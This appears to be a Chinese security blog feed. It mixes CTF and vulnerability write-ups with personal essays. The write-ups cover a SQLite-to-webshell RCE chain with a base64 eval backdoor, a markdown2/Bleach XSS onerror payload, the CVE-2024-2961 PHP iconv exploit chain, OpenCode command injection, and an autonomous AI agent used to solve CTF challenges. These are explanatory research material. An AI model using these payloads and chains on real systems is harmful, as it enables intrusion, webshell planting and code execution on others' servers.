                            <p class="lead text-center">A <strong>password</strong> verification is required to access this page. <br></p>
<?php
        $passvld=true;
        if(isset($_POST['manage']))
        {
            $_SESSION['manage']=gethashedpass($_POST['manage']);
            $_SESSION['expired']=time();
        }
        
        if(!isset($_SESSION['expired']))
            $passvld=false;
        else if(abs(time()-$_SESSION['expired'])>=3600*24)
        {
            $passvld=false;
            echo '<p class="lead text-center">Verification <span style="color: red;"><strong>expired</strong></span>.</p>';
        }
        else
        {
            if($_SESSION['manage']===MANAGE_PASSWORD)
            {
                $passvld=true;
                echo '<p class="lead text-center">Verification <span style="color: green;"><strong>passed</strong></span>.</p>';
                
            }
            else
            {
                $passvld=false;
                echo '<p class="lead text-center">Verification <span style="color: red;"><strong>failed</strong></span>.</p>';
            }
        }
        if(!$passvld)
        {
?>

直接

if($_SESSION['manage']===MANAGE_PASSWORD)
            {
                $passvld=true;

就可以返回true

而这个默认的密码是空密码

/* Encrypted password of the management page (keep it SECRET) */
    /* The way to compute: md5(md5(PSWD).'+'.sha1(PSWD)) */
    /* Default value 7f6d747029adeefe073804e34b089020 means blank password */
    define('MANAGE_PASSWORD','7f6d747029adeefe073804e34b089020');

在直接传入/mange?p=，密码字段滞空，就会让check直接返回true，进入后台，审计下后台可做操作

这里

if(is_dir(__DIR__.FILE_DIR.$opath) && substr($opath,-1,1)!=='/')
                $opath.='/';
            $qsql="SELECT NAME,TYPE,VALUE FROM CONFIG WHERE NAME LIKE '{$db->escapeString($opath)}%'";
            if(isset($_POST['sql']) && !empty($_POST['sql']))
                $qsql=$_POST['sql'];
            $qnamei=$opath;
            if(isset($_POST['qi']) && isset($_POST['namei']) && !empty($_POST['namei']))
                $qnamei=$_POST['namei'];
            global $db;
            $res=$db->queryarr($qsql);

$qsql可以直接进行sql语句执行

这样，我们可以执行sql语句，那么怎么落地文件呢，这里要回到sqlite本身的语法

在上面已经看到过config的示例表了，直接可以插入字段，一共三个字段

在第一段插入php代码，但是如何落地

VACUUM INTO filename;语法

是可以将现在的数据库文件直接复制一份到指定目录的

虽然大部分都是二进制，但是我们其中的php代码不会被转义

我们将这个文件命名后缀为php然后

INSERT OR REPLACE INTO CONFIG (NAME, TYPE, VALUE)
VALUES (
  'sora_payload',
  'php',
  '<?php file_put_contents("/var/www/html/dl/ws.php",base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWyJjIl0pOz8+"));?>'
);

这样就可以将base64编码后的webshell直接插入可访问的目录

达成基础的php rce，但是如何上升系统，因为php端有很多限制

open_basedir = /var/www/html:/tmp:/app/data/local/test
disable_functions = system, exec, shell_exec, passthru, proc_open, popen, copy, rename, unlink, symlink, ...

可以看看docker配置的第二部分

被app直接拉起来，并且

[program:go-drive]
command=/usr/local/bin/no_priv /usr/local/bin/go-drive-bootstrap.sh
directory=/app
user=app
priority=30
autostart=true
autorestart=true
startsecs=0
stdout_logfile=/dev/fd/1
stdout_logfile_maxbytes=0
stderr_logfile=/dev/fd/2
stderr_logfile_maxbytes=0

并且autorestart=true，这里可以看看重启的用户和这个框架重启的逻辑

localRoot, _ := driveUtils.Config.GetLocalFsDir()
path, _ = filepath.Abs(filepath.Join(localRoot, path))
if exists, _ := utils.FileExists(path); !exists {
    return nil, notFound
}
return &Drive{path}, nil

这里并没有检查filepath是否有路径穿越，而这又不是php配置的内容，所以可以绕开php.ini的封锁

新建 fs drive 时填：

../../../../app
filepath.Join("/app/data/local", "../../../../app")

最后会变成：

/app

所以我们可以通过new去挂载服务器的目录到后台，有点像访问指向

所以把管理略缩图的config挂载之后下载之后改

thumbnail:
  handlers:
    - type: shell
      tags:
      file-types: cmd
      config:
        shell: sh /tmp/cmd.sh
        mime-type: text/plain
        write-content: false
        max-size: -1
        timeout: 30s

shell指的是这个类型用shell处理

也就是：生成缩略图时，可以执行外部命令。

并且定义后缀为cmd，也就是说当cmd后缀时

调用sh /tmp/cmd.sh，并且返回text

因为 PHP 的 open_basedir 允许 /tmp，所以可以用 ws.php 写：

file_put_contents("/tmp/cmd.sh", "id\nwhoami\nuname -a\n");
file_put_contents("/tmp/probe.cmd", "");

于是也就拿到了系统命令的RCE，但是依旧是要提权的

当然在这之前，配置项的文件虽然改变了，但是实际上内存还是没有变化的，

依旧需要重启这个服务，这里就要提到让这个go的程序崩溃的方法了

一个方法就是调用动态脚本处理文件，

再非预期去返回flase，

func (d *ScriptDrive) Save(...) error {
    result := runJS(...)
    return result
}

这里的result如果是none在后面做path的时候就会

panic: runtime error: invalid memory address or nil pointer dereference

提权阶段，

依旧是看看suid，以及其他的服务有没有

但是这里的服务是通过no_prive起的，并且

struct sock_fprog prog = { sizeof(filter) / sizeof(filter[0]), filter };
    if (argc < 2) return 127;
    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) return 126;
    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)) return 126;
    execvp(argv[1], argv + 1);
    return 127;
}

这里PR_SET_NO_NEW_PRIVS指的是不让它起的新程序获得新的权限

所以当前是没法进行直接su的

我尝试了最近的核弹检测POC， CVE-2026-31431

ta的内核并未打补丁，成功提权

当然。此类CVE解析很多，就不赘述了

空轨1st_杂谈

Fri, 01 May 2026 00:00:00 GMT

空轨1st_杂谈

想到mbti有个好玩的问题，你能想象自己写虚构故事为生吗

也许吧哈哈哈，突然有些想写

或许世界观还并不是很成立，但是依然想写，我与JRPG的冒险

因为近些时候一直在推JRPG，多多少少有些恍惚了

这篇大陆名为塞姆利亚大陆，人人信仰天空女神爱德丝

明明我还没推完就想妄加评判啦？或许吧

人们使用的是七曜历，导力是这片大陆的核心科技，

有时候会让我想起原力，哈哈

May the force be with you

艾丝蒂亚和约书亚就如此开始了在这篇天地的冒险

这里可以引入其他的JRPG的共性，那就是

不问因果，善就是善，恶也亦如此了

比如说想起的著名的女神异闻录，女神转生系列，

又或者是让人心灵平静的

莱莎的炼金工房系列，又或者是

及其著名的ff最终幻想，都是这样的特性

并没有华丽的词藻，也无精彩的交互，战斗

但是一直有一些心灵感染的魔力，不需要什么修饰

就可以很达观得表现出来,即使很多时候厂商吃老本不进取

但是很多时候我依然喜爱着JRPG

如果一定要说为什么，那就是它的纯粹吧

去掉现实中的污浊气，也正因如此

推着JRPG，在塞姆利亚大陆冒险的游击士

何曾会想起自己存在的当下呢，

当然，JRPG很多时候是心灵的港湾而非逃避现实的工具

这是毋容置疑的

有些扯远了，今天为止已经推了三章了，在空轨1st最开始的时候我没怎么注意

就当我开局是半失忆的吧

不会忘记翻过古罗尼山，在湖边时，望着湖面和远方时的情愫

亦会忆起，玛西亚孤儿院被烧毁时我气疯的感受哈哈

还有以为约书亚被亲我也跟着艾丝蒂亚一起难受，当然我也误会了，，

hhh，当然，如果要换个角度理解的话，那也是我自己确实喜爱着冒险，

当然我也从未停下自己的脚步，

当时看到救济金都被抢的时候，已经磨刀霍霍向猪羊了

在洛连特，柏斯，卢安，蔡斯，冒险是美好的，嗯

毕竟，现实中，我也希望有他们的心态与勇气吧，游击士啊

我亦尊崇

markdown2(Markdown 双哈希逃逸：Bleach 清洗后 markdown2 SafeMode 的 Alt 属性 XSS 完整链路)

Thu, 30 Apr 2026 00:00:00 GMT

Markdown 双哈希逃逸：Bleach 清洗后 markdown2 SafeMode 的 Alt 属性 XSS 完整链路:)

adoraki!!!!!!!!!!

就按照闲谈学习去完成这个吧，全链坐实

无容置疑的点只有两个，就是需要让markdown语法和js进行联系

以及让bot的无头浏览器执行我们的js

我们看代码片段

safe_md = bleach.clean(
        md,
        tags=[],
        attributes={},
        protocols=[],
        strip=True,
        strip_comments=True,
    )

直接进行追溯

这个函数传的参数很多都是默认的

def clean(
    text,
    tags=ALLOWED_TAGS,#[]
    attributes=ALLOWED_ATTRIBUTES,#{}
    protocols=ALLOWED_PROTOCOLS,#[]
    strip=False,
    strip_comments=True,
    css_sanitizer=None,
):

    cleaner = Cleaner(
        tags=tags,
        attributes=attributes,
        protocols=protocols,
        strip=strip,
        strip_comments=strip_comments,
        css_sanitizer=css_sanitizer,
    )
    return cleaner.clean(text)

继续跟

def clean(self, text):
        if not isinstance(text, str):
            message = (
                f"argument cannot be of {text.__class__.__name__!r} type, "
                + "must be of text type"
            )
            raise TypeError(message)

        if not text:
            return ""

        dom = self.parser.parseFragment(text)#text是的
        filtered = BleachSanitizerFilter(
            source=self.walker(dom),
            allowed_tags=self.tags,
            attributes=self.attributes,
            strip_disallowed_tags=self.strip,
            strip_html_comments=self.strip_comments,
            css_sanitizer=self.css_sanitizer,
            allowed_protocols=self.protocols,
        )

        # Apply any filters after the BleachSanitizerFilter
        for filter_class in self.filters:
            filtered = filter_class(source=filtered)

        return self.serializer.render(filtered)

其中parseFragment(text)是讲其解析为良好的树形结构，暂时不看

看看BleachSanitizerFilter

def sanitize_token(self, token):
        """Sanitize a token either by HTML-encoding or dropping.

        Unlike sanitizer.Filter, allowed_attributes can be a dict of {'tag':
        ['attribute', 'pairs'], 'tag': callable}.

        Here callable is a function with two arguments of attribute name and
        value. It should return true of false.

        Also gives the option to strip tags instead of encoding.

        :arg dict token: token to sanitize

        :returns: token or list of tokens

        """
        token_type = token["type"]
        if token_type in ["StartTag", "EndTag", "EmptyTag"]:
            if token["name"] in self.allowed_tags:
                return self.allow_token(token)

            elif self.strip_disallowed_tags:
                return None

            else:
                return self.disallowed_token(token)

        elif token_type == "Comment":
            if not self.strip_html_comments:
                # call lxml.sax.saxutils to escape &, <, and > in addition to " and '
                token["data"] = html5lib_shim.escape(
                    token["data"], entities={'"': "&quot;", "'": "&#x27;"}
                )
                return token
            else:
                return None

        elif token_type == "Characters":
            return self.sanitize_characters(token)

        else:
            return token

其实就是将html标签转为不支持的格式

然后直接转markdown，看看当markdown的safe标签的时候的过滤

html = Markup(markdown2.markdown(safe_md, safe_mode="escape"))

def _sanitize_html(self, s: str) -> str:
        if self.safe_mode == "replace":
            return self.html_removed_text
        elif self.safe_mode == "escape":
            replacements = [
                ('&', '&amp;'),
                ('<', '&lt;'),
                ('>', '&gt;'),
            ]
            for before, after in replacements:
                s = s.replace(before, after)
            return s
        else:
            raise MarkdownError("invalid value for 'safe_mode': %r (must be "
                                "'escape' or 'replace')" % self.safe_mode)

    _inline_link_title = re.compile(r'''
            (                   # \1
              [ \t]+
              (['"])            # quote char = \2
              (?P<title>.*?)
              \2
            )?                  # title is optional
          \)$
        ''', re.X | re.S)
    _tail_of_reference_link_re = re.compile(r'''
          # Match tail of: [text][id]
          [ ]?          # one optional space
          (?:\n[ ]*)?   # one optional newline followed by spaces
          \[
            (?P<id>[^\[\]]*?)
          \]
        ''', re.X | re.S)

    _whitespace = re.compile(r'\s*')

    _strip_anglebrackets = re.compile(r'<(.*)>.*')

貌似核心不在这，我们回去跟text

在text最开始进markdown主函数的时候调用了convert

def convert(self, text: str) -> 'UnicodeWithAttrs':
        """Convert the given text."""
        # Main function. The order in which other subs are called here is
        # essential. Link and image substitutions need to happen before
        # _EscapeSpecialChars(), so that any *'s or _'s in the <a>
        # and <img> tags get encoded.

        # Clear the global hashes. If we don't clear these, you get conflicts
        # from other articles when generating a page which contains more than
        # one article (e.g. an index page that shows the N most recent
        # articles):
        self.reset()

        if not isinstance(text, str):
            # TODO: perhaps shouldn't presume UTF-8 for string input?
            text = str(text, 'utf-8')

        if self.use_file_vars:
            # Look for emacs-style file variable hints.
            text = self._emacs_oneliner_vars_pat.sub(self._emacs_vars_oneliner_sub, text)
            emacs_vars = self._get_emacs_vars(text)
            if "markdown-extras" in emacs_vars:
                splitter = re.compile("[ ,]+")
                for e in splitter.split(emacs_vars["markdown-extras"]):
                    if '=' in e:
                        ename, earg = e.split('=', 1)
                        try:
                            earg = int(earg)
                        except ValueError:
                            pass
                    else:
                        ename, earg = e, None
                    self.extras[ename] = earg

            self._setup_extras()

        # Standardize line endings:
        text = text.replace("\r\n", "\n")
        text = text.replace("\r", "\n")

        # Make sure $text ends with a couple of newlines:
        text += "\n\n"

        # Convert all tabs to spaces.
        text = self._detab(text)

        # Strip any lines consisting only of spaces and tabs.
        # This makes subsequent regexen easier to write, because we can
        # match consecutive blank lines with /\n+/ instead of something
        # contorted like /[ \t]*\n+/ .
        text = self._ws_only_line_re.sub("", text)

        # strip metadata from head and extract
        if "metadata" in self.extras:
            text = self._extract_metadata(text)

        text = self.preprocess(text)

        if self.safe_mode:
            text = self._hash_html_spans(text)

        # Turn block-level HTML blocks into hash entries
        text = self._hash_html_blocks(text, raw=True)

        # Strip link definitions, store in hashes.
        if "footnotes" in self.extras:
            # Must do footnotes first because an unlucky footnote defn
            # looks like a link defn:
            #   [^4]: this "looks like a link defn"
            text = self._strip_footnote_definitions(text)
        text = self._strip_link_definitions(text)

        text = self._run_block_gamut(text)

        if "footnotes" in self.extras:
            text = self._do_footnote_marker(text)
            text = self._add_footnotes(text)

        text = self.postprocess(text)

        text = self._unescape_special_chars(text)

        text = self._unhash_html_spans(text)
        if self.safe_mode:
            # return the removed text warning to its markdown.py compatible form
            text = text.replace(self.html_removed_text, self.html_removed_text_compat)

        do_target_blank_links = "target-blank-links" in self.extras
        do_nofollow_links = "nofollow" in self.extras

        if do_target_blank_links and do_nofollow_links:
            text = self._a_nofollow_or_blank_links.sub(r'<\1 rel="nofollow noopener" target="_blank"\2', text)
        elif do_target_blank_links:
            text = self._a_nofollow_or_blank_links.sub(r'<\1 rel="noopener" target="_blank"\2', text)
        elif do_nofollow_links:
            text = self._a_nofollow_or_blank_links.sub(r'<\1 rel="nofollow"\2', text)

        if "toc" in self.extras and self._toc:
            if self.extras['header-ids'].get('mixed'):
                # TOC will only be out of order if mixed headers is enabled
                def toc_sort(entry):
                    '''Sort the TOC by order of appearance in text'''
                    match = re.search(
                        # header tag, any attrs, the ID, any attrs, the text, close tag
                        r'^<(h%d).*?id=(["\'])%s\2.*>%s</\1>$' % (entry[0], entry[1], re.escape(entry[2])),
                        text, re.M
                    )
                    return match.start() if match else 0

                self._toc.sort(key=toc_sort)
            self._toc_html = calculate_toc_html(self._toc)

            # Prepend toc html to output
            if self.cli or (self.extras['toc'] is not None and self.extras['toc'].get('prepend', False)):
                text = f'{self._toc_html}\n{text}'

        text += "\n"

        # Attach attrs to output
        rv = UnicodeWithAttrs(text)

        if "toc" in self.extras and self._toc:
            rv.toc_html = self._toc_html

        if "metadata" in self.extras:
            rv.metadata = self.metadata
        return rv

这一段是没有校验其他字段的

 if self.safe_mode:
            text = self._hash_html_spans(text)

        # Turn block-level HTML blocks into hash entries
        text = self._hash_html_blocks(text, raw=True)

        # Strip link definitions, store in hashes.

        text = self._strip_link_definitions(text)

        text = self._run_block_gamut(text)

        text = self.postprocess(text)

        text = self._unescape_special_chars(text)

        text = self._unhash_html_spans(text)

先看看_hash_html_spans

因为比较长，只截回调那一部分，也就是非函数而是调用的部分

code_hashes = {}
        text = self._code_span_re.sub(
            lambda m: self._hash_span(m.string[m.start(): m.end()], code_hashes),
            text
        )

因为md是reset的新状态，那么当_code_span_re这个正则被匹配的时候就会进行hash_span回调，

继续追溯

_code_span_re = re.compile(r'''
            (?<!\\)
            (`+)        # \1 = Opening run of `
            (?!`)       # See Note A test/tm-cases/escapes.text
            (.+?)       # \2 = The code block
            (?<!`)
            \1          # Matching closer
            (?!`)
        ''', re.X | re.S)
def _hash_span(self, text: str, hash_table: Optional[dict] = None) -> str:
        '''
        Wrapper around `_hash_text` that also adds the hash to `self.hash_spans`,
        meaning it will be automatically unhashed during conversion.

        Args:
            text: the text to hash
            hash_table: the dict to insert the hash into. If omitted will default to `self.html_spans`

        Returns:
            The hashed text
        '''
        key = _hash_text(text)
        if hash_table is not None:
            hash_table[key] = text
        else:
            self.html_spans[key] = text
        return key

跟hash

def _hash_text(s: str) -> str:
    return 'md5-' + sha256(SECRET_SALT + s.encode("utf-8")).hexdigest()[32:]

# Table of hash values for escaped characters:
g_escape_table = {ch: _hash_text(ch)
    for ch in '\\`*_{}[]()>#+-.!'}

# Ampersand-encoding based entirely on Nat Irons's Amputator MT plugin:
#   http://bumppo.net/projects/amputator/
_AMPERSAND_BODY_RE = r'#?[xX]?(?:[0-9a-fA-F]+|\w+);'
_AMPERSAND_RE = re.compile(r'&(?!%s)' % _AMPERSAND_BODY_RE)
_ESCAPED_AMPERSAND_RE = re.compile(r'(?:\\\\)*\\&(%s)' % _AMPERSAND_BODY_RE)

这里转hash，然后就是正常的图片转img标签。然后就是_unescape_special_chars

def _unescape_special_chars(self, text: str) -> str:
        # Swap back in all the special characters we've hidden.
        hashmap = tuple(self._escape_table.items()) + tuple(self._code_table.items())
        # html_blocks table is in format {hash: item} compared to usual {item: hash}
        hashmap += tuple(tuple(reversed(i)) for i in self.html_blocks.items())
        while True:
            orig_text = text
            for ch, hash in hashmap:
                text = text.replace(hash, ch)
            if text == orig_text:
                break
        return text

它用元组将hash换了回来

也就是一个md5对应的原本代码

在这里需要先明确

md的语法，也就是

![x](y)

这里的x是alt属性，y是src

但是有一点，它转hash转回来的时候只换了src，并没有换alt标签的东西，

所以alt的md5就会被直接泄露出来

result = (
    f'<img src="..."'
    f' alt="{self.md._hash_span(_xml_escape_attr(link_text))}"'   # ← 这里！
    ...
)

并且因为clean的缘故没法插入html标签

所以执行这个分两步

![`" onerror="alert(1)//`]()![a](`REPLACEME//`)

这个的" onerror="alert(1)//因为是alt标签，所以直接被转换为md5填充回来但是不会被替换

而REPLACEME//这一部分是src，它的md5最后会

orig_text = text
            for ch, hash in hashmap:
                text = text.replace(hash, ch)
            if text == orig_text:
                break
        return text

也就是转回来，并且这个md5是循环的，也就是说会直到无法转为止才会返回

如果说为啥不直接将这个放到()里，那是因为safe的模块会转义"",''等等内容

所以我们先用

![`" onerror="alert(1)//`]()![a](`REPLACEME//`)

将恶意代码的md5泄露出来，再二次填入REPLACEME//的这个地方

所以第二次是

![`" onerror="alert(1)//`]()![a](`md5-xxxxxxx`)

这样经过循环后md5就会被二次转为恶意代码，并且``包裹也就是

<img src="code&gt;" onerror="alert(1)////&lt;/code" alt="a" ... />

极其巧妙的截断

完结

CVE-2024-2961 完整 RCE 链详解：1字节 glibc 溢出如何秒杀 PHP

Wed, 22 Apr 2026 00:00:00 GMT

CVE-2024-2961 完整 RCE 链详解：1字节 glibc 溢出如何秒杀 PHP

这里算是我为数不多接触到pwn的一次，但是我这次机会想到，我有必要进行对pwn的学习

当然，这次是PHP的多链引发的想法，涉及了一个PWN相关影响深远的CVE，CVE-2025-2961.

我会用WEB手也通俗易懂的语言来讲解，这个CVE网上相关文章也很多，我也就阐述一下自己观点

这个CVE的是发生在iconv函数中，并且基本上是在转义函数可控的情况下发生的，

这里先说说前置概念，这个缓冲区溢出是因为ISO-2022-CN-EXT的SS2/SS3切换缺乏缓冲区校验引起的

ISO-2022-CN-EXT是一个中文字符编码形式，假设这个编码是一个柜子，那么SS2，SS3就是抽屉，用来存个别字符的柜子

我们先看一看简化的关键源码，

else if ((used & SS2_mask) != 0 && (ann & SS2_ann) != (used << 8)) {
    const char *escseq;
    assert (used == CNS11643_2_set); /* XXX */
    escseq = "*H";
    *outptr++ = ESC;          // 0x1B
    *outptr++ = '$';          // 0x24
    *outptr++ = *escseq++;    // 0x2A
    *outptr++ = *escseq++;    // 0x48
    ann = (ann & ~SS2_ann) | (used << 8);
}
else if ((used & SS3_mask) != 0 && (ann & SS3_ann) != (used << 8)) {
    const char *escseq;
    assert ((used >> 5) >= 3 && (used >> 5) <= 7);
    escseq = "+I+J+K+L+M" + ((used >> 5) - 3) * 2;
    *outptr++ = ESC;
    *outptr++ = '$';
    *outptr++ = *escseq++;
    *outptr++ = *escseq++;
    ann = (ann & ~SS3_ann) | (used << 8);
}

当识别是SS2/SS3的时候在缓存区写入我注视的这一串命令，而这里并没有校验缓冲区是否够存放，

所以会造成缓冲区溢出，这个理念倒是非常清晰易懂，但是难点是如何利用进行RCE。

在PHP中控制了拥有读文件等操作，在漏洞版本范围内，便可上升为RCE

这里要先从PHP的内存管理机制说起，读文件可以用过滤器php://filter

而filter支持dechunk自定义块，在一块内存中，如果不停发送dechunk也就可以自定义每块的大小，

file_get_contents("php://filter/
    dechunk|
    convert.iconv.latin1.latin1|
    convert.iconv.latin1.latin1|
    （重复多次堆喷）
    convert.iconv.UTF-8.ISO-2022-CN-EXT
/resource=/etc/passwd");

也就是空闲内存，然后当中插入受害块，也就是ISO-2022-CN-EXT的SS2/SS3

进行编码转换命令时分到的块，而有几个特殊的汉字会使其溢出，这样就会溢出到相邻块，

也就会污染相邻块的最低位，往往是0x48，也就是说最低位0000变为0x48，这样内存释放时

free_solts的这部分内存指向就变了，链表被毒化之后，

攻击者利用堆喷(简略概括)，将许多空闲内存都挂上string对象，而其中是有len属性的，

当正常执行一次构造字符串时，地址偏移让正常写字符串的操作写入了len字段

这样len的长度可以被改的超级大，这样就泄漏了大量系统函数的地址

接下来就是RCE

PHP的内存管理器是ZENDMM，他是一个大内存池，

它控制分配这些内存的供给与释放，而其中_zend_mm_heap结构的子结构custom_heap控制内存释放的指针

它控制着内存释放的时候指向的函数指针

如此一来我调用dechunk结合之前泄漏的地址，任意写入custom_heap，将指针覆盖为system()的地址

//简化结构
typedef struct _zend_mm_custom_heap {
    void (*_free)(void *ptr);   // ← 要改的目标
    // ...
} custom_heap;

_zend_mm_heap->custom_heap._free = system();  // 攻击者通过 overlap 实现

也就是每次内存释放都会调用

当然PHP的内存调用是很频繁的，

最后将要执行的命令放入一个可控的zend_string对象中，也就是一个挂载其的对象，然后触发一次内存释放，

命令也就执行了。

CTF Agent 校赛斩获 TOP 1：阶段开发成果分享

Mon, 13 Apr 2026 00:00:00 GMT

CTF Agent 校赛斩获 TOP 1：阶段开发成果分享

比赛检验

在自己开发了一段时间的CTF agent项目迎来了阶段性的检验成果.

在校赛上，我部署了agent的工作流，接入的api是CHATGPT-5系列

取得了很好的成果，开赛一个多小时，我已经领先了第二名7000分

到最后，也是成功拿到了top1

pwn的题目没打因为后面把工作流停了，emmm

介绍一下我的agent流吧

agent的研究方向以及多agent协作

关于agent的开发，也感谢一些师傅给了我思路上的帮助 @kwansh

有一些MCP工具集以及Prompt的分化和持久性，以及工具调用上或多或少参照了cc的思路

但是，与之不同的也就是专门为CTF设计的能力

也就是专业方向性引导

我把它称为三省六部制

也就是3个agent核心大脑，和六个子agent，

主要的问题在于同步专业性方向以及对于agent幻觉的避免

我对此给出的解决方案是，

三个agent在工作记忆上进行轮次同步，也就是异步同步，

这样测试下来可以增加记忆同步的效率,

并且相对于同时同步来说，解题速度提高了不少

再是六子agent，4个是直接性寻找解题方向，并且这四个同时也是异步同步记忆，

另外两个一个进行记忆上下文压缩，一个进行幻觉指出和全方向的权重分析

当然，我的系统内置了难度判断，上述情况是判定为满级难度时采取的策略

对于工具来说，我采用了完整的sandbox策略，并且agent在判断sandbox中工具缺失的时候时有权

调用各种包管理器进行安装

在更丰富的mcp策略上我同样借鉴了类unix的策略，同样的接口，同样的工具注册，调用接口以及机制

我认为这依然是前沿的解决方向。

当然还有很多细节，也就不一一赘述了

关于CTF

我的想法一直没变，AI会改变CTF，改变网络安全，乃至对计算机产生深远的影响，但是

我愈发坚定得认为，学习是绝对有必要的

AI只会给不学的人借口，让他们迷失在时代的浪潮中吧

路漫漫其修远矣，我的安全之路亦如此

后记

因为CTF的竞技性快完了，我就想着不如把这个火烧旺一些，

现在有意向开发一个只要输入CTF网站url，就全自动注册开靶机打题的项目

敬请期待吧

OpenCode部署安全边界的思考

Fri, 10 Apr 2026 00:00:00 GMT

OpenCode部署安全边界的思考

关于应用模式导致的边界问题的思考，

我们知道很多是有方便本地用户而设置的默认功能，服务就会省略鉴权等等的功能

很多时候在服务配置边界不明确的情况下，对于鉴权是极其宽松的

在我审计opencode的边界时，尤为感受深刻。

在opencode的server，web模式下启动的时候，会默认bind到4096端口

function createOpencode() {
  const host = "127.0.0.1"
  const port = 4096
  const url = `http://${host}:${port}`
  const proc = spawn(`opencode`, [`serve`, `--hostname=${host}`, `--port=${port}`])
  const client = createOpencodeClient({ baseUrl: url })

这种场景下的SSRF显得尤为危险，虽然默认绑定的是127.0.0.1，但是如果未默认直接起的服务就会暴漏以下

        .route("/project", ProjectRoutes())
        .route("/pty", PtyRoutes())
        .route("/config", ConfigRoutes())
        .route("/experimental", ExperimentalRoutes())
        .route("/session", SessionRoutes())
        .route("/permission", PermissionRoutes())
        .route("/question", QuestionRoutes())
        .route("/provider", ProviderRoutes())
        .route("/", FileRoutes())
        .route("/mcp", McpRoutes())
        .route("/tui", TuiRoutes())

绑定的端口在检查query是否为字符串之后就可以直接访问了，这里列举两个高危的接口

看看FileRoutes的接入

列举两个高危接口做下示范

  new Hono()
    .get(
      "/find",
      describeRoute({
        summary: "Find text",
        description: "Search for text patterns across files in the project using ripgrep.",
        operationId: "find.text",
        responses: {
          200: {
            description: "Matches",
            content: {
              "application/json": {
                schema: resolver(Ripgrep.Match.shape.data.array()),
              },
            },
          },
        },
      }),
      validator(
        "query",
        z.object({
          pattern: z.string(),
        }),
      ),
      async (c) => {
        const pattern = c.req.valid("query").pattern
        const result = await Ripgrep.search({
          cwd: Instance.directory,
          pattern,
          limit: 10,
        })
        return c.json(result)
      },
    )

对于query只是检查了是否是字符串，就直接push进了pattern，看看search的逻辑

  export async function search(input: {
    cwd: string
    pattern: string
    glob?: string[]
    limit?: number
    follow?: boolean
  }) {
    const args = [`${await filepath()}`, "--json", "--hidden", "--glob='!.git/*'"]
    if (input.follow) args.push("--follow")

    if (input.glob) {
      for (const g of input.glob) {
        args.push(`--glob=${g}`)
      }
    }

    if (input.limit) {
      args.push(`--max-count=${input.limit}`)
    }

    args.push("--")
    args.push(input.pattern)

    const command = args.join(" ")
    const result = await $`${{ raw: command }}`.cwd(input.cwd).quiet().nothrow()
    if (result.exitCode !== 0) {
      return []
    }

对于${{raw : xxxx}}是不会经过任何转义的，并且还拼接了args，也就把pattern也拼进去了

这样如此便RCE，可以继续连接自己服务器进行进一步混淆和持久化操作

第二个是

.get(
      "/find/file",
      describeRoute({
        summary: "Find files",
        description: "Search for files or directories by name or pattern in the project directory.",
        operationId: "find.files",
        responses: {
          200: {
            description: "File paths",
            content: {
              "application/json": {
                schema: resolver(z.string().array()),
              },
            },
          },
        },
      }),
      validator(
        "query",
        z.object({
          query: z.string(),
          dirs: z.enum(["true", "false"]).optional(),
          type: z.enum(["file", "directory"]).optional(),
          limit: z.coerce.number().int().min(1).max(200).optional(),
        }),
      ),
      async (c) => {
        const query = c.req.valid("query").query
        const dirs = c.req.valid("query").dirs
        const type = c.req.valid("query").type
        const limit = c.req.valid("query").limit
        const results = await File.search({
          query,
          limit: limit ?? 10,
          dirs: dirs !== "false",
          type,
        })
        return c.json(results)
      },
    )

依旧query原样检查字符串后直接拼入，看看file search逻辑

  export async function search(input: { query: string; limit?: number; dirs?: boolean; type?: "file" | "directory" }) {
    const query = input.query.trim()
    const limit = input.limit ?? 100
    const kind = input.type ?? (input.dirs === false ? "file" : "all")
    log.info("search", { query, kind })

    const result = await state().then((x) => x.files())

    const hidden = (item: string) => {
      const normalized = item.replaceAll("\\", "/").replace(/\/+$/, "")
      return normalized.split("/").some((p) => p.startsWith(".") && p.length > 1)
    }
    const preferHidden = query.startsWith(".") || query.includes("/.")
    const sortHiddenLast = (items: string[]) => {
      if (preferHidden) return items
      const visible: string[] = []
      const hiddenItems: string[] = []
      for (const item of items) {
        const isHidden = hidden(item)
        if (isHidden) hiddenItems.push(item)
        if (!isHidden) visible.push(item)
      }
      return [...visible, ...hiddenItems]
    }
    if (!query) {
      if (kind === "file") return result.files.slice(0, limit)
      return sortHiddenLast(result.dirs.toSorted()).slice(0, limit)
    }

    const items =
      kind === "file" ? result.files : kind === "directory" ? result.dirs : [...result.files, ...result.dirs]

    const searchLimit = kind === "directory" && !preferHidden ? limit * 20 : limit
    const sorted = fuzzysort.go(query, items, { limit: searchLimit }).map((r) => r.target)
    const output = kind === "directory" ? sortHiddenLast(sorted).slice(0, limit) : sorted

    log.info("search", { query, kind, results: output.length })
    return output
  }
}

即使非本机文件的泄露，但是

const result = await state()*.then((x) => x.*files())

也会造成.env以及本项目文件的泄露

这也是对于服务端很危险的，当然对于前者，在本机运行的其他项目如果暴漏在局域网或者公网中时

这个边界跳板就显得尤为重要，这也是xss进行SSRF个人认为比较核心的点，由XSS到SSRF到RCE.

一个阶段的自白

Wed, 01 Apr 2026 00:00:00 GMT

一个阶段的自白

现在是4月1日的凌晨

我不知道从何说起

一直以来，我爱记录自我，

但是现在的节奏，速度快得可以让人忘记自我，

AI，我们，因为这行一直在技术的前沿，

看得越多，也就越对未来不抱什么希望

AI会一直拉低人的技术成本，

安全的门槛会变得越来越低，

拼死学好几年，或是更多

也会被AI一把梭给甩远远的

只要略微懂些程序，就可以用AI在比赛

或是实战中发挥作用

这个时代是投机者的乐园吗

我愤慨着，

但却毫无作用，

声音会被淹没在浪潮中

21世纪

这个光怪陆离的世纪，

不知道未来的文化会被摧残如何，

在很多很多作品中

AI和仿生人都是常见题材

伦理上的也好，我不知如何说了

很多时候，代码是冷漠的，

emmmmmmmmmmmm，

不同于千禧年，现在的互联网相较于那时褪去了几分神性

但是，因为万维网，人与人彼此相连，

我看着这一切

或许，我才是旧时代的残党

稍稍理解了一些

我深爱那个将人与人相连的，纯粹的互联网

我不知，从何说起了

都说AI是第三次工业革命

又都说引领AI进攻其他领域

但是除了效率以外，

我仍然关注着自身，是否在这种节奏下

能够存活呢

答案自然是肯定的

不过，稍稍，多了一些困难吧

emmmmm，

CTF在逐渐衰弱，

网络安全门槛在降低

创意在变廉价

开发更是被说成是人都行

但是我依然看到大家仍然在创作着

什么时候我被换下呢

现在想来

我已经不是很在意了

或许读者觉得我理想主义过头了罢

